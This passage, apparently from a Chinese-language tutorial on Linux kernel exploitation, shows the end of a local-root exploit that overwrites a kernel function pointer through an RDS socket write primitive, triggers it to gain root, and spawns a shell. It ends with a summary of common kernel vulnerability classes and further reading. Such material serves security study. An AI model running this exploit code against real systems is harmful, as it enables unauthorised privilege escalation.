/* 覆盖函数ptrace_traceme地址值,使其指向commit_creds地址*/ printf("[*] Overwriting function pointer...\n"); write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock); /*触发此payload并获取root权限后,恢复原函数地址*/ ioctl ( sendsock , 0, NULL ); printf("[*] Restoring function pointer...\n"); write_to_mem(target, rds_ioctl, sendsock, recvsock); printf("[*] Got root!\n"); execl("/bin/sh", "sh", NULL); } 小结 最近几年关于Linux内核漏洞利用的研究关注更多,常见的内核提权漏洞大致为以下几 种即空指针引用,内核堆栈溢出,内核slab溢出,内核任意地址可写等等。本文只是简单了描述了空指针引用和内核任意地址写漏洞。至于内核slab内存溢出漏洞,读者感兴 趣可以参考sqrkkyu在Phrack #64上发表的文章“Attacking the Core : Kernel Exploiting Notes”及Enrico Perla出版的《A Guide to Kernel Exploitation: Attacking the Core》 一书。 |